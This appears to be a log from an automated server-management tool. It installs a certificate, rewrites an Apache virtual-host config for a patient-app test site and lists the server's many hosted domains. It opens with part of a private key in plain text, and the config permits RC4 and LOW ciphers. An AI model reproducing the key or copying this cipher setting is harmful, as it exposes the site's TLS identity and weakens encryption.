WN6j8iNIpEfE75YTpVchy/WrMThcuD5pgaVhcq4Jd8P7E2CTC5aLhJ9pfOt4zSg+
vPAHicb+81c0LLNYrg99N89L1YrLzk1QhYALto38AQKBgQDlHsrDuLD8gjHelBuN
dmDumhMAnO5CDiOrLUBipUF47+7sMUIhjuys79acK6h9xauXmzqefwKEa4BeCYjZ
sxs6z5tSUoSS6PVkznZMIPRp5mZIUK8ih/yF4srquTGixF4Qzj0xEmPSlWEeZ1Pr
HL1OZR0UndrxjQEZR43dOsYGowKBgQDAf/Yl/ma+ZJxckKi2ITLNwbuH+P2bXY3s
+Y05fVhFAnsLWm/bHYx3nNohgz8hXl4bGfFrYB0S5jtTRNubE5/92rsQMJROmAKR
IL2Cy0MRw/XqYCEhNEMVNGaXC5iKowNNz2rPGmq8NsuTKm5OVMxQzTGuBjVje5ZF
i5ZkNv6dcQKBgQDFxlWqqvODk/LuOZSrAMNdUvwSLGRx+niJmy8Xt6STezEXCtIV
26SrBwCOoBT6NDYRUPpBtEr8+Tq+caaCnNtlYa2mWvp7QcIJeTqeLlgsTah+xb7X
pOCyxXj5MlEJOk4kXZJumHw4W5+QugqzSYSTdi6rDDPhDCElrCFmFQS41wKBgB7s
b35q/9ZWE0hLdM7NRnwHQzj0psjunn4TGLzDhgqP+3Q3cwCgHpCYgfIgQ2P45OU1
pbK6HfGLSrx1s1GWNX1yRdqz8x8tDDyEJe18+alA8aBVEP1kh+JAKLrbAgZDaaR2
TZI3jC3wH4PkrROoS6ovTGvIU4tHrzw80EwJCZ4BAoGABiO4z26Ai8SI3y6SHpFP
jL1wVVpGmM4oJC6W4bmu78irj1/OLhxdAmvKmLAV4eYdEI0Jgx3QZ25pWlt4OfFg
tezFyI6rQbkPvKEdzAQKhnhfHC8c7Hecmilf9jSBAqtjJEs7Ya0EUy2qpTLX+mqo
Ua3ciV//Uzap5Bni3Im5CgI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-26 12:16:44: 

chmod 755 /tmp/pkp256536; /tmp/pkp256536; rm /tmp/pkp256536

2026-01-26 12:16:44: 


dir=/etc/ssl/certs


2026-01-26 12:16:44: 

PUT: /tmp/pkp314957

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_test_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-26 12:16:44: 

chmod 755 /tmp/pkp314957; /tmp/pkp314957; rm /tmp/pkp314957

2026-01-26 12:16:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 43

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-26 12:16:44: 

PUT: /tmp/pkp328422

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_test_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_test_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_test_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf= 1'
fi


2026-01-26 12:16:44: 

chmod 755 /tmp/pkp328422; /tmp/pkp328422; rm /tmp/pkp328422

2026-01-26 12:16:44: 




2026-01-26 12:16:44: 

PUT: /tmp/pkp651607

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-26 12:16:44: 

chmod 755 /tmp/pkp651607; /tmp/pkp651607; rm /tmp/pkp651607

2026-01-26 12:16:44: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-26 12:16:44: Establishing a connection
2026-01-26 12:16:44: 

PUT: /tmp/pkp794922

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-26 12:16:44: 

chmod 755 /tmp/pkp794922; /tmp/pkp794922; rm /tmp/pkp794922

2026-01-26 12:16:44: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
